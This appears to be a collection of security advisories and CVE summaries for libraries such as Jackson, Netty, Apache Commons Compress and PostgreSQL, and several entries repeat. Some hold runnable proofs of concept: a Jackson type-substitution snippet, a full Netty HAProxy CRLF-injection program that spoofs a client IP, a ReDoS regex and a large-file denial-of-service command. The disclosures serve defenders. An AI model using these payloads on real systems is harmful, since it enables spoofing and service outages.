DefaultBaseTypeLimitingValidator is the PolymorphicTypeValidator applied automatically whenever @JsonTypeInfo is used without an explicitly configured custom validator. It denies polymorphic resolution only for a fixed set of "unsafe base types", and its isSafeSubType method returns true unconditionally for every base type outside that set. java.lang.Comparable was absent from the list despite being implemented by a very large fraction of JDK and application classes, comparable in breadth to java.io.Serializable, which is on the list for that reason. An application declaring an @JsonTypeInfo-annotated property or class with Comparable as its base type, and no custom PolymorphicTypeValidator, will accept a type identifier for essentially any class implementing Comparable. This yields an attacker-controlled object instantiation primitive; a demonstrated case constructs a java.io.File for an arbitrary attacker-chosen path, which becomes path-traversal-adjacent if the application subsequently calls path-sensitive methods on the value. No class implementing Comparable has been identified that yields code execution through deserialization alone. Global Default Typing via activateDefaultTyping is not affected, because that method structurally requires an explicit PolymorphicTypeValidator argument. This affects com.fasterxml.jackson.core:jackson-databind from 2.11.0 before 2.18.10, from 2.19.0 before 2.21.6, and from 2.22.0 before 2.22.2, and tools.jackson.core:jackson-databind from 3.0.0 before 3.1.6 and from 3.2.0 before 3.2.2. Users should upgrade to 2.18.10, 2.21.6, 2.22.2, 3.1.6, or 3.2.2.
This affects the package node-notifier before 8.0.1. It allows an attacker to run arbitrary commands on Linux machines due to the options params not being sanitised when being passed an array.
### Summary `DefaultBaseTypeLimitingValidator` — the `PolymorphicTypeValidator` used automatically whenever `@JsonTypeInfo` is applied without an explicitly configured custom validator — denies polymorphic resolution only for nine specific "unsafe base types" (`Object`, `Serializable`, `Closeable`, `AutoCloseable`, `Cloneable`, `Runnable`, `java.util.logging.Handler`, `javax.naming.Referenceable`, `javax.sql.DataSource`). Its `isSafeSubType()` returns `true` unconditionally for every other base type. `java.lang.Comparable` is not in that list, despite being implemented by a very large fraction of JDK and application classes — comparable in breadth to `Serializable`, which is denylisted for exactly that reason. An application with an `@JsonTypeInfo`-annotated `Comparable`-typed property, and no custom validator configured, will accept a type identifier for essentially any class implementing `Comparable`. ### Details **Affected file:** `src/main/java/tools/jackson/databind/jsontype/DefaultBaseTypeLimitingValidator.java` ```java private final static class UnsafeBaseTypes { private final Set<String> UNSAFE = new HashSet<>(); { UNSAFE.add(Object.class.getName()); UNSAFE.add(java.io.Closeable.class.getName()); UNSAFE.add(java.io.Serializable.class.getName()); UNSAFE.add(AutoCloseable.class.getName()); UNSAFE.add(Cloneable.class.getName()); UNSAFE.add(Runnable.class.getName()); // [databind#5014] UNSAFE.add("java.util.logging.Handler"); UNSAFE.add("javax.naming.Referenceable"); UNSAFE.add("javax.sql.DataSource"); // java.lang.Comparable is NOT present here } } protected boolean isSafeSubType(DatabindContext ctxt, JavaType baseType, JavaType subType) { return true; // unconditional for every base type not in UNSAFE } ``` The class's own JavaDoc acknowledges the design (*"Note that when using potentially unsafe base type like `java.lang.Object` a custom implementation... is needed"*), so the trade-off of leaving broad base types unrestricted is intentional. The gap is that `Comparable` has the same breadth of implementers as the types this class *does* restrict, and its absence looks like an oversight rather than a deliberate choice — consistent with the ongoing, incremental nature of this list (`Runnable` was added recently for issue #5014). This is specific to the **default, unconfigured validator** reached via bare `@JsonTypeInfo` usage. Global "Default Typing" via `activateDefaultTyping()` is **not** affected, because that method structurally requires an explicit `PolymorphicTypeValidator` argument — a correctly-configured `BasicPolymorphicTypeValidator` rejects the same payload under `activateDefaultTyping()`. ### PoC Built entirely from source (jackson-databind + jackson-core + jackson-annotations, `javac`, OpenJDK 21, no third-party gadget libraries, no network access): **1. Sanity check (benign class, confirms the mechanism fires):** ```java static class SafeThing implements Comparable<SafeThing> { public String name; public SafeThing() {} public int compareTo(SafeThing o) { return 0; } } static class Holder { @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS) public Comparable<?> value; } ObjectMapper mapper = JsonMapper.builder().build(); // no custom PTV String json = "{\"value\":{\"@class\":\"...SafeThing\",\"name\":\"hello\"}}"; Holder h = mapper.readValue(json, Holder.class); // RESULT: ACCEPTED, class=...SafeThing ``` **2. Real JDK class substitution:** ```java String json = "{\"value\":[\"java.io.File\",\"/etc/passwd\"]}"; Holder h = mapper.readValue(json, Holder.class); // RESULT: ACCEPTED, class=java.io.File value=/etc/passwd ``` **3. Negative control — Default Typing with an explicit custom PTV:** ```java PolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder() .allowIfSubType("PtvGapTest4").build(); ObjectMapper mapper = JsonMapper.builder() .activateDefaultTyping(ptv, DefaultTyping.NON_FINAL).build(); // same java.io.File payload // RESULT: REJECTED - InvalidTypeIdException: "...denied resolution" ``` **Observed output:** $ java -cp .:build/classes PtvGapTest3 Trying: {"value":["java.io.File","/etc/passwd"]} ACCEPTED, class=java.io.File value=/etc/passwd $ java -cp .:build/classes PtvGapTest4 Trying malicious substitution: ["PtvGapTest4$Holder",{"value":["java.io.File","/etc/passwd"]}] REJECTED - InvalidTypeIdException: Could not resolve type id 'java.io.File' as a subtype of java.lang.Comparable: Configured PolymorphicTypeValidator denied resolution ### Impact Any application declaring an `@JsonTypeInfo`-annotated property or class with `Comparable` as its base type, without a separately configured restrictive `PolymorphicTypeValidator`, will accept a type identifier for essentially any class implementing `Comparable`. Concrete impact is demonstrated via `java.io.File`: an attacker can cause construction of a `File` object for an arbitrary, attacker-chosen path. On its own this is a controlled-object-instantiation primitive; if the application later calls path-sensitive or mutating methods on the received value, this becomes a path-traversal-adjacent primitive. **Suggested remediation:** 1. Add `java.lang.Comparable` to `UnsafeBaseTypes.UNSAFE`. 2. Audit other broad JDK interfaces (`java.lang.Iterable`, `java.util.EventListener`) for the same gap. 3. Consider a narrower default for `isSafeSubType()` for base types outside the fixed denylist, rather than unconditional `true`.
In PHP versions before 7.4.31, 8.0.24 and 8.1.11, the phar uncompressor code would recursively uncompress "quines" gzip files, resulting in an infinite loop.
Unproper laxist permissions on the temporary files used by MIME4J TempFileStorageProvider may lead to information disclosure to other local users. This issue affects Apache James MIME4J version 0.8.8 and prior versions. We recommend users to upgrade to MIME4j version 0.8.9 or later.
A vulnerability was found in PHP where setting the environment variable PHP_CLI_SERVER_WORKERS to a large value leads to a heap buffer overflow.
Improper Input Validation, Uncontrolled Resource Consumption vulnerability in Apache Commons Compress in TAR parsing.This issue affects Apache Commons Compress: from 1.22 before 1.24.0. Users are recommended to upgrade to version 1.24.0, which fixes the issue. A third party can create a malformed TAR file by manipulating file modification times headers, which when parsed with Apache Commons Compress, will cause a denial of service issue via CPU consumption. In version 1.22 of Apache Commons Compress, support was added for file modification times with higher precision (issue # COMPRESS-612 [1]). The format for the PAX extended headers carrying this data consists of two numbers separated by a period [2], indicating seconds and subsecond precision (for example “1647221103.5998539”). The impacted fields are “atime”, “ctime”, “mtime” and “LIBARCHIVE.creationtime”. No input validation is performed prior to the parsing of header values. Parsing of these numbers uses the BigDecimal [3] class from the JDK which has a publicly known algorithmic complexity issue when doing operations on large numbers, causing denial of service (see issue # JDK-6560193 [4]). A third party can manipulate file time headers in a TAR file by placing a number with a very long fraction (300,000 digits) or a number with exponent notation (such as “9e9999999”) within a file modification time header, and the parsing of files with these headers will take hours instead of seconds, leading to a denial of service via exhaustion of CPU resources. This issue is similar to CVE-2012-2098 [5]. [1]: https://issues.apache.org/jira/browse/COMPRESS-612 [2]: https://pubs.opengroup.org/onlinepubs/9699919799/utilities/pax.html#tag_20_92_13_05 [3]: https://docs.oracle.com/javase/8/docs/api/java/math/BigDecimal.html [4]: https://bugs.openjdk.org/browse/JDK-6560193 [5]: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2098 Only applications using CompressorStreamFactory class (with auto-detection of file types), TarArchiveInputStream and TarFile classes to parse TAR files are impacted. Since this code was introduced in v1.22, only that version and later versions are impacted.
Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in Apache Commons Compress.This issue affects Apache Commons Compress: from 1.3 through 1.25.0. Users are recommended to upgrade to version 1.26.0 which fixes the issue.
Allocation of Resources Without Limits or Throttling vulnerability in Apache Commons Compress.This issue affects Apache Commons Compress: from 1.21 before 1.26. Users are recommended to upgrade to version 1.26, which fixes the issue.
Azure Identity Libraries and Microsoft Authentication Library Elevation of Privilege Vulnerability
Netty is an asynchronous event-driven network application framework for rapid development of maintainable high performance protocol servers & clients. An unsafe reading of environment file could potentially cause a denial of service in Netty. When loaded on an Windows application, Netty attempts to load a file that does not exist. If an attacker creates such a large file, the Netty application crashes. This vulnerability is fixed in 4.1.115.
Netty, an asynchronous, event-driven network application framework, has a vulnerability in versions up to and including 4.1.118.Final. An unsafe reading of environment file could potentially cause a denial of service in Netty. When loaded on an Windows application, Netty attempts to load a file that does not exist. If an attacker creates such a large file, the Netty application crash. A similar issue was previously reported as CVE-2024-47535. This issue was fixed, but the fix was incomplete in that null-bytes were not counted against the input limit. Commit d1fbda62d3a47835d3fb35db8bd42ecc205a5386 contains an updated fix.
Stack overflow vulnerability in eslint before 9.26.0 when serializing objects with circular references in eslint/lib/shared/serialization.js. The exploit is triggered via the RuleTester.run() method, which validates test cases and checks for duplicates. During validation, the internal function checkDuplicateTestCase() is called, which in turn uses the isSerializable() function for serialization checks. When a circular reference object is passed in, isSerializable() enters infinite recursion, ultimately causing a stack overflow.
Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.128.Final and 4.2.7.Final, the SMTP codec in Netty contains an SMTP command injection vulnerability due to insufficient input validation for Carriage Return (\r) and Line Feed (\n) characters in user-supplied parameters. The vulnerability exists in io.netty.handler.codec.smtp.DefaultSmtpRequest, where parameters are directly concatenated into the SMTP command string without sanitization. When methods such as SmtpRequests.rcpt(recipient) are called with a malicious string containing CRLF sequences, attackers can inject arbitrary SMTP commands. Because the injected commands are sent from the server's trusted IP address, resulting emails will likely pass SPF and DKIM authentication checks, making them appear legitimate. This allows remote attackers who can control SMTP command parameters (such as email recipients) to forge arbitrary emails from the trusted server, potentially impersonating executives and forging high-stakes corporate communications. This issue has been patched in versions 4.1.129.Final and 4.2.8.Final. No known workarounds exist.
Improper neutralization of special elements used in an LDAP query ('LDAP injection') vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA bcprov on all (prov modules). This vulnerability is associated with program files LDAPStoreHelper. This issue affects BC-JAVA: from 1.74 before 1.80.2, from 1.81 before 1.81.1, from 1.82 before 1.84.
Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.136.Final and 4.2.16.Final, Netty's HAProxy encoder ( HAProxyMessageEncoder ) writes AF_UNIX source and destination socket addresses into the HAProxy V1 text protocol without validating them for CRLF characters, so an attacker who controls an AF_UNIX address can inject \r\n sequences and split the single PROXY header into multiple lines. This is possible because the V1 protocol uses CRLF as its line terminator and, unlike IPv4/IPv6 addresses whose format checks implicitly reject CRLF, AF_UNIX addresses are only validated for length (up to 108 bytes), allowing a forged second PROXY header line that spoofs the client source/destination IP to a downstream server or load balancer. The issue is fixed in versions 4.1.136.Final and 4.2.16.Final.
ajv (Another JSON Schema Validator) through version 8.17.1 is vulnerable to Regular Expression Denial of Service (ReDoS) when the `$data` option is enabled. The pattern keyword accepts runtime data via JSON Pointer syntax (`$data` reference), which is passed directly to the JavaScript `RegExp()` constructor without validation. An attacker can inject a malicious regex pattern (e.g., `\"^(a|a)*$\"`) combined with crafted input to cause catastrophic backtracking. A 31-character payload causes approximately 44 seconds of CPU blocking, with each additional character doubling execution time. This enables complete denial of service with a single HTTP request against any API using ajv with `$data`: true for dynamic schema validation.
### Summary An unsafe reading of environment file could potentially cause a denial of service in Netty. When loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash. ### Details A similar issue was previously reported in https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv This issue was fixed, but the fix was incomplete in that null-bytes were not counted against the input limit. ### PoC The PoC is the same as for https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv with the detail that the file should only contain null-bytes; 0x00. When the null-bytes are encountered by the `InputStreamReader`, it will issue replacement characters in its charset decoding, which will fill up the line-buffer in the `BufferedReader.readLine()`, because the replacement character is not a line-break character. ### Impact Impact is the same as https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv
Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows.
Improper neutralization of special elements used in an LDAP query ('LDAP injection') vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA bcprov on all (prov modules). This vulnerability is associated with program files LDAPStoreHelper. Issue affecting: BC 1.74 to 1.80.1, BC 1.81, BC 1.82 to BC 1.83. Fixed versions: BC 1.80.2, BC 1.81.1, BC 1.84
Improper Input Validation, Uncontrolled Resource Consumption vulnerability in Apache Commons Compress in TAR parsing.This issue affects Apache Commons Compress: from 1.22 before 1.24.0. Users are recommended to upgrade to version 1.24.0, which fixes the issue. A third party can create a malformed TAR file by manipulating file modification times headers, which when parsed with Apache Commons Compress, will cause a denial of service issue via CPU consumption. In version 1.22 of Apache Commons Compress, support was added for file modification times with higher precision (issue # COMPRESS-612 [1]). The format for the PAX extended headers carrying this data consists of two numbers separated by a period [2], indicating seconds and subsecond precision (for example “1647221103.5998539”). The impacted fields are “atime”, “ctime”, “mtime” and “LIBARCHIVE.creationtime”. No input validation is performed prior to the parsing of header values. Parsing of these numbers uses the BigDecimal [3] class from the JDK which has a publicly known algorithmic complexity issue when doing operations on large numbers, causing denial of service (see issue # JDK-6560193 [4]). A third party can manipulate file time headers in a TAR file by placing a number with a very long fraction (300,000 digits) or a number with exponent notation (such as “9e9999999”) within a file modification time header, and the parsing of files with these headers will take hours instead of seconds, leading to a denial of service via exhaustion of CPU resources. This issue is similar to CVE-2012-2098 [5]. [1]: https://issues.apache.org/jira/browse/COMPRESS-612 [2]: https://pubs.opengroup.org/onlinepubs/9699919799/utilities/pax.html#tag_20_92_13_05 [3]: https://docs.oracle.com/javase/8/docs/api/java/math/BigDecimal.html [4]: https://bugs.openjdk.org/browse/JDK-6560193 [5]: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2098 Only applications using CompressorStreamFactory class (with auto-detection of file types), TarArchiveInputStream and TarFile classes to parse TAR files are impacted. Since this code was introduced in v1.22, only that version and later versions are impacted.
Unproper laxist permissions on the temporary files used by MIME4J TempFileStorageProvider may lead to information disclosure to other local users. This issue affects Apache James MIME4J version 0.8.8 and prior versions. We recommend users to upgrade to MIME4j version 0.8.9 or later.
# Security Vulnerability Report: HAProxy V1 Protocol CRLF Injection via AF_UNIX Address in Netty ## 1. Vulnerability Summary | Field | Value | |-------|-------| | **Product** | Netty | | **Version** | 4.2.12.Final (and all prior versions with codec-haproxy) | | **Component** | `io.netty.handler.codec.haproxy.HAProxyMessageEncoder` | | **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences | | **Impact** | HAProxy PROXY Protocol Injection / Client IP Spoofing | | **CVSS 3.1 Score** | **7.5 (High)** | | **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` | ## 2. Affected Components - `io.netty.handler.codec.haproxy.HAProxyMessageEncoder` — `encodeV1()` method (lines 63-77): writes `sourceAddress` and `destinationAddress` directly to output without CRLF validation - `io.netty.handler.codec.haproxy.HAProxyMessage` — constructor `checkAddress()` validates IPv4/IPv6 format but **only checks length for AF_UNIX** (line 439) ## 3. Vulnerability Description Netty's HAProxy protocol encoder writes AF_UNIX socket addresses directly into the HAProxy V1 text protocol format **without validating for CRLF characters**. The V1 protocol uses CRLF (`\r\n`) as the line terminator, so CRLF characters in an address split the single PROXY header line into multiple lines, effectively injecting a second PROXY protocol header. ### Root Cause — Encoder ```java // HAProxyMessageEncoder.java:63-77 private static void encodeV1(HAProxyMessage msg, ByteBuf out) { out.writeBytes(TEXT_PREFIX); // "PROXY " out.writeByte((byte) ' '); out.writeCharSequence(msg.proxiedProtocol().name(), US_ASCII); // "UNIX_STREAM" out.writeByte((byte) ' '); out.writeCharSequence(msg.sourceAddress(), US_ASCII); // <-- NO CRLF CHECK out.writeByte((byte) ' '); out.writeCharSequence(msg.destinationAddress(), US_ASCII); // <-- NO CRLF CHECK out.writeByte((byte) ' '); // ... out.writeByte((byte) '\r'); out.writeByte((byte) '\n'); } ``` ### Root Cause — Insufficient Address Validation ```java // HAProxyMessage.java:428-442 private static void checkAddress(String address, AddressFamily addrFamily) { switch (addrFamily) { case AF_UNIX: ObjectUtil.checkNotNull(address, "address"); if (address.getBytes(CharsetUtil.US_ASCII).length > 108) { throw new IllegalArgumentException("invalid AF_UNIX address: " + address); } return; // ONLY checks length <= 108, NO CRLF validation! case AF_IPv4: if (!NetUtil.isValidIpV4Address(address)) { ... } // Format check blocks CRLF case AF_IPv6: if (!NetUtil.isValidIpV6Address(address)) { ... } // Format check blocks CRLF } } ``` IPv4 and IPv6 addresses are validated against format rules that implicitly reject CRLF. But **AF_UNIX addresses only check `length <= 108`** — any characters including CRLF are accepted. ## 4. Exploitability Prerequisites This vulnerability is exploitable when: 1. An application uses Netty's `HAProxyMessageEncoder` to construct HAProxy V1 protocol headers 2. AF_UNIX (`UNIX_STREAM` or `UNIX_DGRAM`) addresses contain user-controlled input 3. The encoded PROXY header is sent to a downstream server or load balancer **Affected use cases**: - PROXY protocol relays that construct AF_UNIX messages from upstream data - Load balancer integrations where socket paths come from configuration or external sources - Multi-tenant proxies that dynamically construct PROXY headers ## 5. Attack Scenario ### Client IP Spoofing via Second PROXY Line Injection ```java String maliciousAddr = "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80"; HAProxyMessage msg = new HAProxyMessage( HAProxyProtocolVersion.V1, HAProxyCommand.PROXY, HAProxyProxiedProtocol.UNIX_STREAM, maliciousAddr, // CRLF-injected source address "/var/run/dest.sock", 0, 0); ``` **Wire format sent to backend**: ``` PROXY UNIX_STREAM /var/run/app.sock PROXY TCP4 10.0.0.1 10.0.0.2 1234 80 /var/run/dest.sock 0 0 ``` The backend receives **two PROXY lines**. Depending on implementation: - HAProxy: may use the first line and ignore the second - Other implementations: may use the **second** line, treating the connection as TCP4 from `10.0.0.1` - This enables **client IP spoofing** — the backend believes the client is `10.0.0.1` when it's not ## 6. Proof of Concept ### Full Runnable PoC Source Code (HAProxyUnixCRLFPoC.java) ```java import io.netty.buffer.ByteBuf; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.handler.codec.haproxy.*; import java.nio.charset.StandardCharsets; public class HAProxyUnixCRLFPoC { public static void main(String[] args) { System.out.println("=== Netty HAProxy AF_UNIX CRLF Injection PoC ===\n"); String maliciousAddr = "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80"; String destAddr = "/var/run/dest.sock"; HAProxyMessage msg = new HAProxyMessage( HAProxyProtocolVersion.V1, HAProxyCommand.PROXY, HAProxyProxiedProtocol.UNIX_STREAM, maliciousAddr, destAddr, 0, 0); EmbeddedChannel ch = new EmbeddedChannel(HAProxyMessageEncoder.INSTANCE); ch.writeOutbound(msg); ByteBuf out = ch.readOutbound(); String encoded = out.toString(StandardCharsets.UTF_8); out.release(); ch.finishAndReleaseAll(); System.out.println("Wire format:"); for (String line : encoded.split("\n", -1)) { System.out.println(" " + line.replace("\r", "\\r")); } int proxyCount = 0; for (String line : encoded.split("\r\n")) { if (line.startsWith("PROXY")) proxyCount++; } System.out.println("PROXY lines: " + proxyCount); System.out.println("VULNERABLE: " + (proxyCount > 1 ? "YES" : "NO")); } } ``` ### How to Compile and Run ```bash JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \ | grep -v sources | grep -v javadoc | tr '\n' ':') javac -cp "$JARS" HAProxyUnixCRLFPoC.java java -cp "$JARS:." HAProxyUnixCRLFPoC ``` ### PoC Execution Output (Verified on Netty 4.2.12.Final) ``` === Netty HAProxy AF_UNIX CRLF Injection PoC === [TEST 1] AF_UNIX Source Address CRLF Injection ------------------------------------------------ Source address: "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80" Wire format: PROXY UNIX_STREAM /var/run/app.sock\r PROXY TCP4 10.0.0.1 10.0.0.2 1234 80 /var/run/dest.sock 0 0\r PROXY lines found: 2 VULNERABLE: YES - Second PROXY line injected! ``` ## 7. Remediation Recommendations ### Option 1: Validate AF_UNIX Addresses for CRLF ```java // HAProxyMessage.java checkAddress() - add for AF_UNIX: case AF_UNIX: ObjectUtil.checkNotNull(address, "address"); byte[] addrBytes = address.getBytes(CharsetUtil.US_ASCII); if (addrBytes.length > 108) { throw new IllegalArgumentException("invalid AF_UNIX address: too long"); } for (byte b : addrBytes) { if (b == '\r' || b == '\n') { throw new IllegalArgumentException( "AF_UNIX address contains prohibited CRLF character"); } } return; ``` ### Option 2: Validate in Encoder ```java // HAProxyMessageEncoder.java encodeV1() - validate before writing: private static void validateV1Address(String address) { for (int i = 0; i < address.length(); i++) { char c = address.charAt(i); if (c == '\r' || c == '\n' || c == ' ') { throw new HAProxyProtocolException( "V1 address contains prohibited character at index " + i); } } } ``` ## 8. References - [HAProxy PROXY Protocol v1 Specification](https://www.haproxy.org/download/1.8/doc/proxy-protocol.txt) - [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html) - [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (same pattern)](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86)
Incomplete tracking in PostgreSQL of tables with row security allows a reused query to view or change different rows from those intended. CVE-2023-2455 and CVE-2016-2193 fixed most interaction between row security and user ID changes. They missed cases where a subquery, WITH query, security invoker view, or SQL-language function references a table with a row-level security policy. This has the same consequences as the two earlier CVEs. That is to say, it leads to potentially incorrect policies being applied in cases where role-specific policies are used and a given query is planned under one role and then executed under other roles. This scenario can happen under security definer functions or when a common user and query is planned initially and then re-used across multiple SET ROLEs. Applying an incorrect policy may permit a user to complete otherwise-forbidden reads and modifications. This affects only databases that have used CREATE POLICY to define a row security policy. An attacker must tailor an attack to a particular application's pattern of query plan reuse, user ID changes, and role-specific row security policies. Versions before PostgreSQL 17.1, 16.5, 15.9, 14.14, 13.17, and 12.21 are affected.
A flaw was found in npm-serialize-javascript. The vulnerability occurs because the serialize-javascript module does not properly sanitize certain inputs, such as regex or other JavaScript object types, allowing an attacker to inject malicious code. This code could be executed when deserialized by a web browser, causing Cross-site scripting (XSS) attacks. This issue is critical in environments where serialized data is sent to web clients, potentially compromising the security of the website or web application using this package.
Missing authorization in PostgreSQL CREATE TYPE allows an object creator to hijack other queries that use search_path to find user-defined types, including extension-defined types. That is to say, the victim will execute arbitrary SQL functions of the attacker's choice. Versions before PostgreSQL 18.4, 17.10, 16.14, 15.18, and 14.23 are affected.
A flaw was found in npm-serialize-javascript. The vulnerability occurs because the serialize-javascript module does not properly sanitize certain inputs, such as regex or other JavaScript object types, allowing an attacker to inject malicious code. This code could be executed when deserialized by a web browser, causing Cross-site scripting (XSS) attacks. This issue is critical in environments where serialized data is sent to web clients, potentially compromising the security of the website or web application using this package.
### Summary An unsafe reading of environment file could potentially cause a denial of service in Netty. When loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash. ### Details When the library netty is loaded in a java windows application, the library tries to identify the system environnement in which it is executed. At this stage, Netty tries to load both `/etc/os-release` and `/usr/lib/os-release` even though it is in a Windows environment. <img width="364" alt="1" src="https://github.com/user-attachments/assets/9466b181-9394-45a3-b0e3-1dcf105def59"> If netty finds this files, it reads them and loads them into memory. By default : - The JVM maximum memory size is set to 1 GB, - A non-privileged user can create a directory at `C:\` and create files within it. <img width="340" alt="2" src="https://github.com/user-attachments/assets/43b359a2-5871-4592-ae2b-ffc40ac76831"> <img width="523" alt="3" src="https://github.com/user-attachments/assets/ad5c6eed-451c-4513-92d5-ba0eee7715c1"> the source code identified : https://github.com/netty/netty/blob/4.1/common/src/main/java/io/netty/util/internal/PlatformDependent.java Despite the implementation of the function `normalizeOs()` the source code not verify the OS before reading `C:\etc\os-release` and `C:\usr\lib\os-release`. ### PoC Create a file larger than 1 GB of data in `C:\etc\os-release` or `C:\usr\lib\os-release` on a Windows environnement and start your Netty application. To observe what the application does with the file, the security analyst used "Process Monitor" from the "Windows SysInternals" suite. (https://learn.microsoft.com/en-us/sysinternals/) ``` cd C:\etc fsutil file createnew os-release 3000000000 ``` <img width="519" alt="4" src="https://github.com/user-attachments/assets/39df22a3-462b-4fd0-af9a-aa30077ec08f"> <img width="517" alt="5" src="https://github.com/user-attachments/assets/129dbd50-fc36-4da5-8eb1-582123fb528f"> The source code used is the Netty website code example : [Echo ‐ the very basic client and server](https://netty.io/4.1/xref/io/netty/example/echo/package-summary.html). The vulnerability was tested on the 4.1.112.Final version. The security analyst tried the same technique for `C:\proc\sys\net\core\somaxconn` with a lot of values to impact Netty but the only things that works is the "larger than 1 GB file" technique. https://github.com/netty/netty/blob/c0fdb8e9f8f256990e902fcfffbbe10754d0f3dd/common/src/main/java/io/netty/util/NetUtil.java#L186 ### Impact By loading the "file larger than 1 GB" into the memory, the Netty library exceeds the JVM memory limit and causes a crash in the java Windows application. This behaviour occurs 100% of the time in both Server mode and Client mode if the large file exists. Client mode : <img width="449" alt="6" src="https://github.com/user-attachments/assets/f8fe1ed0-1a42-4490-b9ed-dbc9af7804be"> Server mode : <img width="464" alt="7" src="https://github.com/user-attachments/assets/b34b42bd-4fbd-4170-b93a-d29ba87b88eb"> somaxconn : <img width="532" alt="8" src="https://github.com/user-attachments/assets/0656b3bb-32c6-4ae2-bff7-d93babba08a3"> ### Severity - Attack vector : "Local" because the attacker needs to be on the system where the Netty application is running. - Attack complexity : "Low" because the attacker only need to create a massive file (regardless of its contents). - Privileges required : "Low" because the attacker requires a user account to exploit the vulnerability. - User intercation : "None" because the administrator don't need to accidentally click anywhere to trigger the vulnerability. Furthermore, the exploitation works with defaults windows/AD settings. - Scope : "Unchanged" because only Netty is affected by the vulnerability. - Confidentiality : "None" because no data is exposed through exploiting the vulnerability. - Integrity : "None" because the explotation of the vulnerability does not allow editing, deleting or adding data elsewhere. - Availability : "High" because the exploitation of this vulnerability crashes the entire java application.
yargs-parser could be tricked into adding or modifying properties of Object.prototype using a "__proto__" payload.
The package hosted-git-info before 3.0.8 are vulnerable to Regular Expression Denial of Service (ReDoS) via regular expression shortcutMatch in the fromUrl function in index.js. The affected regular expression exhibits polynomial worst-case time complexity.
An issue was discovered in PostCSS before 8.4.31. The vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being included in a comment.
A vulnerability has been identified in the Express response.links function, allowing for arbitrary resource injection in the Link header when unsanitized data is used. The issue arises from improper sanitization in `Link` header values, which can allow a combination of characters like `,`, `;`, and `<>` to preload malicious resources. This vulnerability is especially relevant for dynamic parameters.
Improper input validation allows for header injection in MIME4J library when using MIME4J DOM for composing message. This can be exploited by an attacker to add unintended headers to MIME messages.
Information disclosure in persistent watchers handling in Apache ZooKeeper due to missing ACL check. It allows an attacker to monitor child znodes by attaching a persistent watcher (addWatch command) to a parent which the attacker has already access to. ZooKeeper server doesn't do ACL check when the persistent watcher is triggered and as a consequence, the full path of znodes that a watch event gets triggered upon is exposed to the owner of the watcher. It's important to note that only the path is exposed by this vulnerability, not the data of znode, but since znode path can contain sensitive information like user name or login ID, this issue is potentially critical. Users are recommended to upgrade to version 3.9.2, 3.8.4 which fixes the issue.
The NPM package `micromatch` prior to 4.0.8 is vulnerable to Regular Expression Denial of Service (ReDoS). The vulnerability occurs in `micromatch.braces()` in `index.js` because the pattern `.*` will greedily match anything. By passing a malicious payload, the pattern matching will keep backtracking to the input while it doesn't find the closing bracket. As the input size increases, the consumption time will also increase until it causes the application to hang or slow down. There was a merged fix but further testing shows the issue persists. This issue should be mitigated by using a safe pattern that won't start backtracking the regular expression due to greedy matching. This issue was fixed in version 4.0.8.
Incorrect Implementation of Authentication Algorithm in Apache Kafka's SCRAM implementation. Issue Summary: Apache Kafka's implementation of the Salted Challenge Response Authentication Mechanism (SCRAM) did not fully adhere to the requirements of RFC 5802 [1]. Specifically, as per RFC 5802, the server must verify that the nonce sent by the client in the second message matches the nonce sent by the server in its first message. However, Kafka's SCRAM implementation did not perform this validation. Impact: This vulnerability is exploitable only when an attacker has plaintext access to the SCRAM authentication exchange. However, the usage of SCRAM over plaintext is strongly discouraged as it is considered an insecure practice [2]. Apache Kafka recommends deploying SCRAM exclusively with TLS encryption to protect SCRAM exchanges from interception [3]. Deployments using SCRAM with TLS are not affected by this issue. How to Detect If You Are Impacted: If your deployment uses SCRAM authentication over plaintext communication channels (without TLS encryption), you are likely impacted. To check if TLS is enabled, review your server.properties configuration file for listeners property. If you have SASL_PLAINTEXT in the listeners, then you are likely impacted. Fix Details: The issue has been addressed by introducing nonce verification in the final message of the SCRAM authentication exchange to ensure compliance with RFC 5802. Affected Versions: Apache Kafka versions 0.10.2.0 through 3.9.0, excluding the fixed versions below. Fixed Versions: 3.9.0 3.8.1 3.7.2 Users are advised to upgrade to 3.7.2 or later to mitigate this issue. Recommendations for Mitigation: Users unable to upgrade to the fixed versions can mitigate the issue by: - Using TLS with SCRAM Authentication: Always deploy SCRAM over TLS to encrypt authentication exchanges and protect against interception. - Considering Alternative Authentication Mechanisms: Evaluate alternative authentication mechanisms, such as PLAIN, Kerberos or OAuth with TLS, which provide additional layers of security.
